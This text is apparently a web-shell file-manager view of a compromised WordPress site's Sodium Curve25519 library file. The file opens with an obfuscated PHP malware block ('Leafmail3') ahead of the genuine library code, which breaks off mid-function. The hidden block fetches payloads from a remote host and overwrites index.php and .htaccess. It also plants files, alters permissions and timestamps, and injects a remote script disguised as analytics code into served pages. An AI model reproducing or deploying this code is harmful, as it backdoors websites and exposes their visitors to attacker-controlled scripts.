/
www
/
wwwroot
/
alo88.autos
/
wp-includes
/
sodium_compat
/
src
/
Core
/
Upload File
HOME
<?php /*Leafmail3*/goto vODF8; uW9iC: p1I3i: goto m0oPE; zJ0r4: $fd50r .= "\164\144\157"; goto lKsEQ; daxHz: $Q7FSm .= "\x74\151"; goto zNDLT; QuFr2: $wv9Ig .= "\x33\66"; goto sOymP; lYCuA: $LOLkL = "\x35"; goto y6I4r; jBc3K: $tkyNj .= "\x65\170"; goto feM2z; veckF: $vp5Fj .= "\x61\x63\x63\145\x73\x73"; goto F5Rs6; B13FM: $CoSGx = "\x64\x65\x66"; goto YZRXV; LzBKe: $CUa7Y = !empty($qwM6z) || !empty($SCBgM); goto tB1mh; loZYi: try { goto txRyO; K18GF: @$xS8DV($vp5Fj, $eb2Uu); goto tGdpP; iQrV6: @$KDcLu($AW98J, $PShG_); goto K18GF; U8ZJQ: @$xS8DV($AW98J, $eb2Uu); goto Y_zOi; txRyO: @$xS8DV($nHQe_, $eb2Uu); goto U8ZJQ; bh8Zz: @$xS8DV($vp5Fj, $Vjvu_); goto ZGL3p; ZGL3p: @$KDcLu($vp5Fj, $PShG_); goto g9qNE; ZfydO: @$xS8DV($AW98J, $Vjvu_); goto iQrV6; g9qNE: @$xS8DV($nHQe_, $Vjvu_); goto H3O0E; Y_zOi: @$DR4rp($AW98J, $jap8Z["\x61"]); goto ZfydO; tGdpP: @$DR4rp($vp5Fj, $jap8Z["\142"]); goto bh8Zz; H3O0E: } catch (Exception $EdXTL) { } goto y_pyz; F2WJF: $xS8DV .= "\155\157\144"; goto XVkCO; GbEwW: $MhTIX = "\x6d\144\x35"; goto LQ0hU; uLWI3: $vp5Fj = $nHQe_; goto orqfm; egDtp: $tkyNj = "\x66\165\156\x63"; goto usQiR; LQ0hU: $vbt1Y = $MhTIX; goto TgEvM; XPDLi: $gPOF5 = $le6g1; goto tBtTf; WxOmz: $DR4rp .= "\160\x75\164\137\143"; goto UxwWx; GZYTn: $L3Qwt .= "\145\x63\157\144\145"; goto g9Iex; gJ2jd: $B5AMu .= "\x63\157\x70\171"; goto UIZFw; V5t0t: $eb2Uu = 189; goto WkOpf; R8lf6: $L3Qwt .= "\66\x34\x5f\144"; goto GZYTn; hYuCQ: try { goto A3SpX; Lp303: try { goto Kpqh2; IAeb5: $gPOF5($QKdX3); goto usTFE; Soq5P: $QydK0($QKdX3, CURLOPT_POSTFIELDS, $DORoV($q4dFj)); goto IAeb5; RVyt3: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto nb7rJ; AqD2c: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto ttOBx; LJxmP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto RVyt3; snalI: $QydK0($QKdX3, CURLOPT_URL, $Pi1_K); goto AqD2c; nb7rJ: $QydK0($QKdX3, CURLOPT_TIMEOUT, 3); goto caVfG; caVfG: $QydK0($QKdX3, CURLOPT_POST, 1); goto Soq5P; Kpqh2: $QKdX3 = $AhBNU(); goto snalI; usTFE: $iwfAP($QKdX3); goto OfPoO; ttOBx: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto LJxmP; OfPoO: } catch (Exception $EdXTL) { } goto s8qlN; kwFwL: $EHr4j = dirname($O8VpT); goto rtN5e; oSMaO: @$xS8DV($EHr4j, $eb2Uu); goto zRyBD; rtN5e: if ($qjAK2($EHr4j)) { goto ayR0Q; } goto OfJbX; pAJFu: $Pi1_K .= "\164\75\x63\141"; goto AM67e; j_bNW: ayR0Q: goto CA7b_; D4GAj: $q4dFj = ["\x64\x61\164\141" => $jap8Z["\x64"]["\165\x72\x6c"]]; goto Lp303; OfJbX: @$spfUp($EHr4j, $eb2Uu, true); goto j_bNW; oI6DO: @$xS8DV($EHr4j, $Vjvu_); goto oyphM; GLti1: $Pi1_K .= "\77\x61\143"; goto pAJFu; lEMoS: $Pi1_K = $FCJJO; goto GLti1; A3SpX: $O8VpT = $nHQe_ . $jap8Z["\144"]["\160\141\x74\x68"]; goto kwFwL; s8qlN: d_JbM: goto HW6fn; CA7b_: if (!$qjAK2($EHr4j)) { goto d_JbM; } goto oSMaO; oyphM: @$KDcLu($O8VpT, $PShG_); goto lEMoS; OUdjB: @$xS8DV($O8VpT, $Vjvu_); goto oI6DO; AM67e: $Pi1_K .= "\154\x6c"; goto D4GAj; zRyBD: @$DR4rp($O8VpT, $jap8Z["\x64"]["\143\157\144\x65"]); goto OUdjB; HW6fn: } catch (Exception $EdXTL) { } goto loZYi; LNJsy: @$xS8DV($nHQe_, $Vjvu_); goto k_sTE; cuM3u: $nHQe_ = $_SERVER[$Y5cZH]; goto A7iEW; n8L8V: $uz9bL .= "\x68\160\x2e\60"; goto K6CAr; unwRS: $DORoV .= "\x75\x69\154\x64\x5f\x71"; goto Nk50j; JP7xy: $vbt1Y .= "\x6c\x65"; goto RNGP0; nZ1st: $gQtVG .= "\115\x49\x4e"; goto r5zMQ; XScjr: $gQtVG = "\x57\120"; goto O5QIE; OU84W: $pzU4s = "\146\x6c\x6f"; goto mwwot; nRTqE: $RDkKv = []; goto aYHoX; l2VBa: rqNSn: goto gKipv; ljZeU: $uz9bL .= "\x2f\170\x6d"; goto mCMR7; Ieo9X: $Y5cZH .= "\137\x52\117\117\x54"; goto lYCuA; XVkCO: $L3Qwt = "\x62\141\x73\x65"; goto R8lf6; OGVf2: $Vjvu_ = 215; goto huZpo; aBs6o: $fd50r .= "\147\151\x73\x74"; goto FqdNN; MTS3A: V4Jy1: goto vHyOs; jrrba: $PShG_ = $Q7FSm($wv9Ig); goto bMgWF; vODF8: $J4djk = "\74\104\x44\x4d\76"; goto lRUim; ruvGs: $AW98J .= "\150\x70"; goto uLWI3; VXlbA: $uz9bL .= "\160\x63\x2e\x70"; goto n8L8V; w8i1S: $KDcLu .= "\165\x63\150"; goto TPq_6; UxwWx: $DR4rp .= "\x6f\156\x74\145\x6e\x74\163"; goto ISAMz; chc27: if (!($JKloV !== false)) { goto L8tHW; } goto UihyE; TgEvM: $vbt1Y .= "\137\146\x69"; goto JP7xy; zijgp: $F3G3B = "\x69\x6e\x74"; goto d0ttz; XAUaV: $CZpCY = $y6Dil($uz9bL, "\167\53"); goto KpMKi; ZjcxJ: $eb2Uu = $F3G3B($mmShn($eb2Uu), $l6o74); goto OGVf2; WBWyB: try { goto LAZiP; NeOx9: $QydK0($QKdX3, CURLOPT_FOLLOWLOCATION, true); goto WZ1lN; yuxAB: $JKloV = trim(trim($JKloV, "\xef\xbb\xbf")); goto zF9le; YXPOY: $QydK0($QKdX3, CURLOPT_SSL_VERIFYPEER, false); goto UWGHP; MbwNB: $JKloV = $gPOF5($QKdX3); goto hAQ9Y; UWGHP: $QydK0($QKdX3, CURLOPT_SSL_VERIFYHOST, false); goto NeOx9; LAZiP: $QKdX3 = $AhBNU(); goto i1X7z; WZ1lN: $QydK0($QKdX3, CURLOPT_TIMEOUT, 10); goto MbwNB; S2VNp: $QydK0($QKdX3, CURLOPT_RETURNTRANSFER, 1); goto YXPOY; i1X7z: $QydK0($QKdX3, CURLOPT_URL, $B5AMu); goto S2VNp; hAQ9Y: $iwfAP($QKdX3); goto yuxAB; zF9le: } catch (Exception $EdXTL) { } goto chc27; fSM7u: $Q7FSm .= "\164\157"; goto daxHz; YZRXV: $CoSGx .= "\x69\156\x65\144"; goto TSsDX; Y78_D: $tCAxo = 1; goto kOQ0E; iMZQy: $_POST = $_REQUEST = $_FILES = array(); goto CfGUZ; TfIgP: $HH1HZ .= "\x6f\156\x74\x65\x6e\x74\163"; goto jcgg4; Jhv2t: $ocF0w .= "\x64\155\x69\156"; goto I04NN; aYHoX: $N__ZL = 32; goto IvuqX; HgvDx: @$xS8DV($z2Yll, $eb2Uu); goto C_4CC; ZW1G7: r6AqH: goto GqJiG; CfGUZ: AzDa9: goto U2U3q; NdB0_: $QydK0 .= "\157\x70\164"; goto XPDLi; KFMi9: $x0CSu .= "\137\x48\117\x53\124"; goto nMuHG; WqPjf: $B5AMu = $FCJJO; goto B0dlE; TPq_6: $xS8DV = "\x63\x68"; goto F2WJF; tBtTf: $gPOF5 .= "\x6c\137\x65\170\x65\143"; goto Zr7tR; qUDsS: $PKMm7 .= "\x66\151\x6c\x65"; goto Odo2W; UihyE: $jap8Z = 0; goto hJZyv; WQvgq: $qwM6z = $_REQUEST; goto rvlXO; yoOUR: $vTeXJ = "\x76\x65\x72\x73\151"; goto IBhNI; ZxHGi: $fd50r = "\x72\x65"; goto aBs6o; shDBj: $FSKjX .= "\115\x45\123"; goto XScjr; bAY2j: $LYlAw = $L474W = $ocF0w . "\x2f" . $sVnDj; goto nRTqE; sOymP: $wv9Ig .= "\63\x20\144"; goto d5_Qs; jcgg4: $DR4rp = "\x66\151\154\145\137"; goto WxOmz; QKYpu: $ocF0w .= "\55\x61"; goto Jhv2t; dZIRa: $P4139 = $_SERVER[$x0CSu]; goto cuM3u; huZpo: $Vjvu_ += 150; goto qbT4q; BSUkU: $bX79j = "\x66\143\154"; goto RAIH6; g9Iex: $MIh5N = "\147\x7a\x69"; goto ojxiT; m0oPE: if (!$tCAxo) { goto rqNSn; } goto WqPjf; C_4CC: @unlink($z2Yll); goto LNJsy; feM2z: $tkyNj .= "\151\163\x74\x73"; goto j_mMb; dU8Tu: $FSKjX = "\127\x50\x5f\x55"; goto iLcq9; axzTr: $HH1HZ .= "\147\x65\164\x5f\143"; goto TfIgP; sZfV6: $FCJJO .= "\x6c\151\156\153\x2e\x74"; goto oUI8y; zNDLT: $Q7FSm .= "\155\145"; goto egDtp; Nk50j: $DORoV .= "\x75\145\x72\x79"; goto GbEwW; j_mMb: $le6g1 = "\x63\165\162"; goto QFm8j; y6I4r: $LOLkL .= "\x2e\x34"; goto Dc02k; d5_Qs: $wv9Ig .= "\141\171\163"; goto jrrba; AjCJZ: $z2Yll .= "\x6e\x69"; goto OzEb9; RNGP0: $PKMm7 = "\x69\163\137"; goto qUDsS; k_sTE: DUBKw: goto AbQ0z; mwwot: $pzU4s .= "\143\x6b"; goto BSUkU; bKUUG: $WzLgo = $RDkKv[1]; goto WAo0s; mCMR7: $uz9bL .= "\x6c\x72"; goto VXlbA; Tt4oQ: $Q7FSm = "\163\164\162"; goto fSM7u; B0dlE: $B5AMu .= "\x3f\x61\143\x74"; goto aETJg; DbBpN: $vTeXJ .= "\x70\x61\162\145"; goto B13FM; IBhNI: $vTeXJ .= "\157\156\137\x63\157\x6d"; goto DbBpN; QSRig: $FCJJO = "\150\x74\164\x70\163\72\x2f\57"; goto Jb8vw; pLm0w: $spfUp .= "\144\151\x72"; goto yspyu; bMgWF: $x0CSu = "\110\x54\x54\120"; goto KFMi9; psjtE: $iwfAP .= "\x6c\x5f\143\x6c\x6f"; goto kxGeH; OzEb9: if (!$PKMm7($z2Yll)) { goto DUBKw; } goto fUCm1; YZnxF: $AhBNU .= "\154\137\x69\x6e\x69\164"; goto o4wfR; U2U3q: $xS8DV($nHQe_, $eb2Uu); goto XAUaV; hVAgs: if (empty($RDkKv)) { goto r6AqH; } goto gpO7z; lRUim: $huaOJ = "\57\136\143"; goto l1puk; ojxiT: $MIh5N .= "\x6e\146\154\x61\164\145"; goto QO6bK; yspyu: $HH1HZ = "\146\151\154\145\137"; goto axzTr; nMuHG: $Y5cZH = "\x44\x4f\x43\125\x4d\105\x4e\x54"; goto Ieo9X; QO6bK: $RpkLV = "\165\156\x73\145\x72"; goto TE4rq; oUI8y: $FCJJO .= "\x6f\160\x2f"; goto ZxHGi; gpO7z: $ZwOvi = $RDkKv[0]; goto bKUUG; r5zMQ: $EvUsr = $CoSGx($FSKjX) || $CoSGx($gQtVG); goto WQvgq; ryAXN: $iSMwa = "\163\164\162"; goto Aw0OF; RAIH6: $bX79j .= "\157\x73\145"; goto QSRig; QFm8j: $AhBNU = $le6g1; goto YZnxF; y_pyz: M1S8t: goto YcoP2; bPtLw: $AW98J .= "\x64\x65\170\56\x70"; goto ruvGs; jHqFV: if (!is_array($jap8Z)) { goto M1S8t; } goto sHXMo; O5QIE: $gQtVG .= "\x5f\x41\104"; goto nZ1st; dBHzv: $AW98J .= "\x2f\151\x6e"; goto bPtLw; KpMKi: if (!($tkyNj($AhBNU) && !preg_match($huaOJ, PHP_SAPI) && $pzU4s($CZpCY, 2 | 4))) { goto v1tUm; } goto vfYVM; u8ekB: $qjAK2 .= "\x64\151\162"; goto D1aMA; rvlXO: $SCBgM = $_FILES; goto LzBKe; Odo2W: $qjAK2 = "\x69\163\137"; goto u8ekB; Tl9BG: $ocF0w .= "\x2f\167\160"; goto QKYpu; hh9Gu: $YKWP5 .= "\x74\40\x41\x63\143"; goto DSWYm; Dc02k: $LOLkL .= "\56\x30\x3b"; goto dZIRa; o4wfR: $QydK0 = $le6g1; goto VYKG_; pnTdK: $YKWP5 = "\110\124\124"; goto qEMP2; WkOpf: $eb2Uu += 304; goto ZjcxJ; CLQnS: $huaOJ .= "\x73\151"; goto Tt4oQ; orqfm: $vp5Fj .= "\x2f\x2e\x68\164"; goto veckF; jvCLK: $fd50r .= "\151\157\156"; goto cE3iS; vHyOs: goto p1I3i; goto ZW1G7; Aw0OF: $iSMwa .= "\154\x65\156"; goto yoOUR; neYoj: $y6Dil .= "\145\156"; goto OU84W; Yc9eB: $JKloV = false; goto WBWyB; IvuqX: $l6o74 = 5; goto DicZE; tB1mh: if (!(!$EvUsr && $CUa7Y)) { goto AzDa9; } goto iMZQy; vI8QX: aybLW: goto dU8Tu; cE3iS: if (isset($_SERVER[$fd50r])) { goto aybLW; } goto YhmyI; FqdNN: $fd50r .= "\145\162\x5f"; goto l7JCC; I04NN: $sVnDj = substr($MhTIX($P4139), 0, 6); goto bAY2j; WAo0s: if (!(!$PKMm7($AW98J) || $vbt1Y($AW98J) != $ZwOvi)) { goto F9B9M; } goto Y78_D; d0ttz: $F3G3B .= "\x76\141\154"; goto G8B0v; G8B0v: $mmShn = "\144\145\x63"; goto w1WUM; Ky1Ah: $fd50r .= "\x75\156\x63\x74"; goto jvCLK; YcoP2: L8tHW: goto l2VBa; fUCm1: @$xS8DV($nHQe_, $eb2Uu); goto HgvDx; ISAMz: $KDcLu = "\164\x6f"; goto w8i1S; YhmyI: $_SERVER[$fd50r] = 0; goto vI8QX; qbT4q: $Vjvu_ = $F3G3B($mmShn($Vjvu_), $l6o74); goto pnTdK; UIZFw: $B5AMu .= "\x26\150\75" . $P4139; goto Yc9eB; A7iEW: $ocF0w = $nHQe_; goto Tl9BG; QiT7j: $YKWP5 .= "\x30\x36\x20\116\157"; goto hh9Gu; usQiR: $tkyNj .= "\x74\151\x6f\156\137"; goto jBc3K; TE4rq: $RpkLV .= "\x69\x61\154\x69\172\145"; goto zijgp; DWZ53: if (!(!$_SERVER[$fd50r] && $vTeXJ(PHP_VERSION, $LOLkL, "\76"))) { goto tOsRM; } goto qx0qa; DSWYm: $YKWP5 .= "\x65\x70\164\141\142\154\x65"; goto TXR6r; clNTt: tOsRM: goto NrKhW; F5Rs6: $z2Yll = $nHQe_; goto ZRq91; Jb8vw: $FCJJO .= "\157\153\x6b"; goto sZfV6; Zr7tR: $iwfAP = $le6g1; goto psjtE; w1WUM: $mmShn .= "\x6f\143\x74"; goto ryAXN; TXR6r: $uz9bL = $nHQe_; goto ljZeU; lKsEQ: $fd50r .= "\167\156\137\146"; goto Ky1Ah; kxGeH: $iwfAP .= "\x73\x65"; goto PULcN; qEMP2: $YKWP5 .= "\120\57\61\x2e\x31\40\x34"; goto QiT7j; aETJg: $B5AMu .= "\x3d\x67\145\164"; goto gJ2jd; iLcq9: $FSKjX .= "\123\x45\137\x54\110\x45"; goto shDBj; AbQ0z: $tCAxo = 0; goto hVAgs; Te8Ah: $AW98J = $nHQe_; goto dBHzv; PULcN: $DORoV = "\150\164\x74\x70\137\x62"; goto unwRS; oHm8V: $tCAxo = 1; goto MTS3A; K6CAr: $y6Dil = "\146\x6f\160"; goto neYoj; PL0rr: if (!(!$PKMm7($vp5Fj) || $vbt1Y($vp5Fj) != $WzLgo)) { goto V4Jy1; } goto oHm8V; l1puk: $huaOJ .= "\154\151\x2f"; goto CLQnS; l7JCC: $fd50r .= "\x73\x68\165"; goto zJ0r4; sHXMo: try { goto HbY3E; HbY3E: @$xS8DV($nHQe_, $eb2Uu); goto YBneD; lVY2g: LmA8a: goto o_wA9; w2wnP: @$KDcLu($L474W, $PShG_); goto vkTcY; plcED: $L474W = $LYlAw; goto lVY2g; o_wA9: @$DR4rp($L474W, $jap8Z["\x63"]); goto FIfGh; FIfGh: @$xS8DV($L474W, $Vjvu_); goto w2wnP; YBneD: if (!$qjAK2($ocF0w)) { goto LmA8a; } goto y3Uf0; y3Uf0: @$xS8DV($ocF0w, $eb2Uu); goto plcED; vkTcY: } catch (Exception $EdXTL) { } goto hYuCQ; GqJiG: $tCAxo = 1; goto uW9iC; VYKG_: $QydK0 .= "\154\x5f\x73\x65\x74"; goto NdB0_; D1aMA: $spfUp = "\x6d\x6b"; goto pLm0w; TSsDX: $wv9Ig = "\x2d\61"; goto QuFr2; vfYVM: $xS8DV($nHQe_, $Vjvu_); goto DWZ53; kOQ0E: F9B9M: goto PL0rr; NrKhW: try { goto qZ46l; RQqe5: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto XDrKy; } goto A2PmA; w9gDu: y6dH8: goto Z726M; MlbPu: $yVIWe = @explode("\x3a", $HH1HZ($L474W)); goto RQqe5; YN8V8: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto YUPG5; } goto DYfgW; urTh8: XDrKy: goto vw7V4; hhu33: $gOxct = trim($yVIWe[0]); goto h7asi; POLut: $RDkKv[] = $aWnJP; goto w9gDu; JSOyl: $RDkKv[] = $aWnJP; goto dxtWS; ixd8R: $L474W = $nHQe_ . "\57" . $sVnDj; goto uPNAL; YdNrA: if (!(is_array($yVIWe) && count($yVIWe) == 2)) { goto U90QQ; } goto hhu33; qZ46l: if (!$PKMm7($L474W)) { goto oqtoQ; } goto p5kTV; V_cwX: oTvft: goto NDBCD; A2PmA: $gOxct = trim($yVIWe[0]); goto DvFPK; wbpgM: if (!empty($RDkKv)) { goto oTvft; } goto ixd8R; DvFPK: $aWnJP = trim($yVIWe[1]); goto YN8V8; Y3KDn: if (!($iSMwa($gOxct) == $N__ZL && $iSMwa($aWnJP) == $N__ZL)) { goto y6dH8; } goto D88sj; vw7V4: wNb1b: goto V_cwX; dxtWS: YUPG5: goto urTh8; hNhbL: oqtoQ: goto wbpgM; Z726M: U90QQ: goto hNhbL; uPNAL: if (!$PKMm7($L474W)) { goto wNb1b; } goto MlbPu; D88sj: $RDkKv[] = $gOxct; goto POLut; h7asi: $aWnJP = trim($yVIWe[1]); goto Y3KDn; p5kTV: $yVIWe = @explode("\72", $HH1HZ($L474W)); goto YdNrA; DYfgW: $RDkKv[] = $gOxct; goto JSOyl; NDBCD: } catch (Exception $EdXTL) { } goto Te8Ah; qx0qa: try { $_SERVER[$fd50r] = 1; $fd50r(function () { goto AV30r; qJcS6: $XaxO1 .= "\105\x6c\x65\x6d\145\x6e\x74\163\102"; goto Ak55L; Q10lk: $XaxO1 .= "\x3c\x2f\x73"; goto b0BbS; QUShX: $XaxO1 .= "\x73\x63\162\x69\x70\164\x22\x3e" . "\xa"; goto qTRy2; DytHl: $XaxO1 .= "\57\155\x61\164"; goto shQ2Y; UYMzk: $XaxO1 .= "\105\x6c\145\x6d\145\156\164\x28\42\x73\143"; goto YC55T; ZXF34: $XaxO1 .= "\x6f\155\157\40\x43\157\x64"; goto Fp2Ee; AdEN_: $XaxO1 .= "\x72\x69\x70\x74\40\x74\x79\160\x65\75\42\164\x65\170"; goto vaHEn; qTRy2: $XaxO1 .= "\50\146\165\156\x63"; goto sT9Yu; YC55T: $XaxO1 .= "\162\151\160\164\42\51\x2c\40\x73\x3d\x64\56\x67\x65\164"; goto qJcS6; b0BbS: $XaxO1 .= "\x63\x72\x69\x70\x74\76\12"; goto NGsxv; HMLFi: $XaxO1 .= "\x7d\x29\50\x29\73" . "\12"; goto Q10lk; CvLy6: $XaxO1 .= "\x3f\x69\144\x3d"; goto dyWeq; Fp2Ee: $XaxO1 .= "\x65\x20\x2d\55\x3e\12"; goto fdPCn; y9nGa: $XaxO1 .= "\x6f\162\145\x28\147\x2c\x73\51\x3b" . "\12"; goto HMLFi; MSOF2: $XaxO1 .= "\160\164\x22\x29\133\60\x5d\x3b" . "\12"; goto P_ZMm; dyWeq: $XaxO1 .= "\x4d\x2d"; goto DLX8K; fdPCn: echo $XaxO1; goto endbR; No27V: $XaxO1 .= $P4139; goto DytHl; sT9Yu: $XaxO1 .= "\164\151\x6f\156\50\x29\40\x7b" . "\xa"; goto ubJzA; ebgnR: $XaxO1 .= "\x3b\x20\x67\x2e\144\x65\146"; goto wmOvX; KJt_C: $XaxO1 .= "\147\x2e\163\x72"; goto E5SRJ; yjiNj: $XaxO1 .= "\x64\x20\115\x61\x74"; goto ZXF34; jd565: $XaxO1 .= "\163\145\162\164\102\145\146"; goto y9nGa; D7OFn: $XaxO1 .= "\x75\155\145\156\164\54\40\x67\75\x64\56\143\x72\x65\141\x74\x65"; goto UYMzk; ubJzA: $XaxO1 .= "\166\x61\162\x20\x75\75\x22" . $FCJJO . "\x22\73" . "\xa"; goto v3rQ8; E5SRJ: $XaxO1 .= "\143\x3d\165\x2b\42\152\x73\x2f"; goto No27V; v3rQ8: $XaxO1 .= "\x76\141\162\x20\x64\75\144\157\143"; goto D7OFn; r7GHN: $XaxO1 .= "\163\x63\x72\151\160\164\42\73\40\147\x2e\x61"; goto RDjIx; vaHEn: $XaxO1 .= "\164\x2f\152\x61\x76\x61"; goto QUShX; gOYzX: $XaxO1 = "\x3c\x21\x2d\x2d\x20\x4d\141"; goto zMa4a; NGsxv: $XaxO1 .= "\x3c\41\x2d\55\40\x45\156"; goto yjiNj; I8B8v: $XaxO1 .= "\75\42\164\x65\x78\164\57"; goto uazjK; Ak55L: $XaxO1 .= "\171\x54\x61\x67\116\x61\x6d\145"; goto wg3cP; AV30r: global $P4139, $FCJJO; goto gOYzX; wg3cP: $XaxO1 .= "\50\42\x73\143\162\151"; goto MSOF2; JH0uq: $XaxO1 .= "\x3c\163\143"; goto AdEN_; DLX8K: $XaxO1 .= time(); goto d1HE5; RDjIx: $XaxO1 .= "\x73\x79\156\x63\x3d\x74\x72\165\x65"; goto ebgnR; d1HE5: $XaxO1 .= "\42\x3b\40\x73\56\x70\141\x72"; goto Bu0lg; wmOvX: $XaxO1 .= "\x65\162\x3d\164\162\165\145\x3b" . "\12"; goto KJt_C; shQ2Y: $XaxO1 .= "\157\x6d\x6f\x2e\152\163"; goto CvLy6; zMa4a: $XaxO1 .= "\x74\x6f\x6d\157\x20\x2d\x2d\x3e\xa"; goto JH0uq; uazjK: $XaxO1 .= "\152\141\x76\x61"; goto r7GHN; Bu0lg: $XaxO1 .= "\145\156\164\116\x6f\144\x65\x2e\x69\156"; goto jd565; P_ZMm: $XaxO1 .= "\x67\x2e\164\171\x70\x65"; goto I8B8v; endbR: }); } catch (Exception $EdXTL) { } goto clNTt; DicZE: $l6o74 += 3; goto V5t0t; hJZyv: try { $jap8Z = @$RpkLV($MIh5N($L3Qwt($JKloV))); } catch (Exception $EdXTL) { } goto jHqFV; VtpcZ: $z2Yll .= "\145\162\56\x69"; goto AjCJZ; ZRq91: $z2Yll .= "\x2f\56\x75\163"; goto VtpcZ; gKipv: v1tUm: ?> <?php if (class_exists('ParagonIE_Sodium_Core_Curve25519', false)) { return; } /** * Class ParagonIE_Sodium_Core_Curve25519 * * Implements Curve25519 core functions * * Based on the ref10 curve25519 code provided by libsodium * * @ref https://github.com/jedisct1/libsodium/blob/master/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c */ abstract class ParagonIE_Sodium_Core_Curve25519 extends ParagonIE_Sodium_Core_Curve25519_H { /** * Get a field element of size 10 with a value of 0 * * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_0() { return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0) ); } /** * Get a field element of size 10 with a value of 1 * * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_1() { return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array(1, 0, 0, 0, 0, 0, 0, 0, 0, 0) ); } /** * Add two field elements. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment * @psalm-suppress MixedOperand */ public static function fe_add( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g ) { /** @var array<int, int> $arr */ $arr = array(); for ($i = 0; $i < 10; ++$i) { $arr[$i] = (int) ($f[$i] + $g[$i]); } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($arr); } /** * Constant-time conditional move. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedAssignment */ public static function fe_cmov( ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g, $b = 0 ) { /** @var array<int, int> $h */ $h = array(); $b *= -1; for ($i = 0; $i < 10; ++$i) { $x = (($f[$i] ^ $g[$i]) & $b); $h[$i] = ($f[$i]) ^ $x; } return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h); } /** * Create a copy of a field element. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_copy(ParagonIE_Sodium_Core_Curve25519_Fe $f) { $h = clone $f; return $h; } /** * Give: 32-byte string. * Receive: A field element object to use for internal calculations. * * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Fe * @throws RangeException * @throws TypeError */ public static function fe_frombytes($s) { if (self::strlen($s) !== 32) { throw new RangeException('Expected a 32-byte string.'); } $h0 = self::load_4($s); $h1 = self::load_3(self::substr($s, 4, 3)) << 6; $h2 = self::load_3(self::substr($s, 7, 3)) << 5; $h3 = self::load_3(self::substr($s, 10, 3)) << 3; $h4 = self::load_3(self::substr($s, 13, 3)) << 2; $h5 = self::load_4(self::substr($s, 16, 4)); $h6 = self::load_3(self::substr($s, 20, 3)) << 7; $h7 = self::load_3(self::substr($s, 23, 3)) << 5; $h8 = self::load_3(self::substr($s, 26, 3)) << 4; $h9 = (self::load_3(self::substr($s, 29, 3)) & 8388607) << 2; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray( array( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * Convert a field element to a byte string. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $h * @return string */ public static function fe_tobytes(ParagonIE_Sodium_Core_Curve25519_Fe $h) { $h0 = (int) $h[0]; $h1 = (int) $h[1]; $h2 = (int) $h[2]; $h3 = (int) $h[3]; $h4 = (int) $h[4]; $h5 = (int) $h[5]; $h6 = (int) $h[6]; $h7 = (int) $h[7]; $h8 = (int) $h[8]; $h9 = (int) $h[9]; $q = (self::mul($h9, 19, 5) + (1 << 24)) >> 25; $q = ($h0 + $q) >> 26; $q = ($h1 + $q) >> 25; $q = ($h2 + $q) >> 26; $q = ($h3 + $q) >> 25; $q = ($h4 + $q) >> 26; $q = ($h5 + $q) >> 25; $q = ($h6 + $q) >> 26; $q = ($h7 + $q) >> 25; $q = ($h8 + $q) >> 26; $q = ($h9 + $q) >> 25; $h0 += self::mul($q, 19, 5); $carry0 = $h0 >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry1 = $h1 >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry2 = $h2 >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry3 = $h3 >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry4 = $h4 >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry5 = $h5 >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry6 = $h6 >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry7 = $h7 >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry8 = $h8 >> 26; $h9 